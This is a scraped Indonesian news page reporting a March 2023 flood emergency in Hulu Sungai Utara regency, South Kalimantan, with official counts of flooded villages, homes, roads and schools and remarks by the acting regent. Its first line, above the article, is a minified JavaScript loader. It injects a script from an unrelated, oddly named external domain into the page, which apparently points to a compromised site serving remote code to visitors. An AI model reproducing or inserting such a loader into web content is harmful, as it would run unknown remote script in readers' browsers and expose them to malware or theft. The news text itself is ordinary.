(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Kabupaten Hulu Sungai Utara (HSU) Provinsi Kalimantan Selatan kini berstatus Darurat Banjir setelah banjir di kabupaten itu meluas.
Meningkatnya debit air sungai negara yang membelah kota Amuntai, Kabupaten HSU makin luas pula kawasan yang terdampak banjir di kabupaten itu.
Walhasil, Pemerintah Kabupaten HSU menaikkan status dari siaga 2 banjir menjadi siaga darurat banjir terhitung Jumat (17/3/2023).
Dari laporan rekapitulasi data yang dikeluarkan Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten HSU, Sabtu (18 /3/2023) pukul 10.00 wita, sembilan dari total 10 kecamatan yang ada di wilayah kabupaten hsu sudah tergenang oleh banjir.
Baca juga: Stan Pasar Wadai Banjarmasin Mulai Dibangun, Ini Dua Lokasi Resminya
Dalam data tersebut juga BPBD sudah melakukan rilis hasil pemantauan, yakni jumlah desa yang terendam sebanyak 171 desa dan lima kelurahan.
Kemudian, jumlah rumah yang terendam mencapai angka 12.275 buah rumah dengan 14.533 kepala keluarga serta 43.366 jiwa.
Selain itu, akses jalan baik jalan kabupaten serta jalan provinsi juga tak luput dari genangan air banjir, yakni sepanjang 10.638 meter jalan tergenang banjir.
Fasilitas pendidikan yang terdampak banjir sebanyak 86 buah terdiri dari Taman Kanak Kanak, Sekolah Dasar sederajat SMP sederajat dan SMA sederajat serta perkuliahan .
Fasilitas pendidikan yang paling banyak terendam berada di wilayah kecamatan Amuntai Tengah sebanyak 25 fasilitas pendidikan.
Kemudian, untuk fasilitas umum lainnya yang terdampak ada sebanyak 53 buah, fasilitas ibadah sebanyak 27 buah dan fasilitas kesehatan sebanyak dua buah.
Baca juga: Fogging Langkah Akhir Tangani DBD, Ini Alasannya Menurut Kadinkes Banjarbaru
Merespons hal ini, Pj Bupati HSU Raden Suria Fadliansyah bersama dengan BPBD Kabupaten HSU terus melakukan monitoring ke lokasi lokasi kecamatan yang terdampak seperti di wilayah Kecamatan Amuntai Tengah dan Kecamatan Haurgading.
Dalam kesempatannya, Pj Bupati juga sangat mengapresiasi warga, karena ikut partisipasi serta bahu membahu membantu warga yang terdampak banjir seperti membuat posko dan dapur umum secara swadaya.
“Kita juga membagikan sedikit sembako meskipun jumlahnya masih sedikit akan tetapi untuk sementara di serahkan kepada desa atau kelurahan yang sangat membutuhkan terlebih dahulu,” kata Pj Bupati HSU disela peninjauan banjir, dapur umum warga sekaligus menyerahkan bantuan kepada warga, Sabtu (18/3/2023).
Selain itu, dia juga mengajak kepada seluruh stake holder untuk bekerjasama membantu masyarakat kabupaten HSU yang terdampak oleh banjir ini.
Posko banjir yang didirikan oleh BPBD kabupaten HSU terus melakukan moniroting dengan melakukan patroli ke desa-desa yang sering terdampak dan melakukan koordinasi dengan aparat desa setempat. (kanalkalimantan.com/dew)
Reporter: dew
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.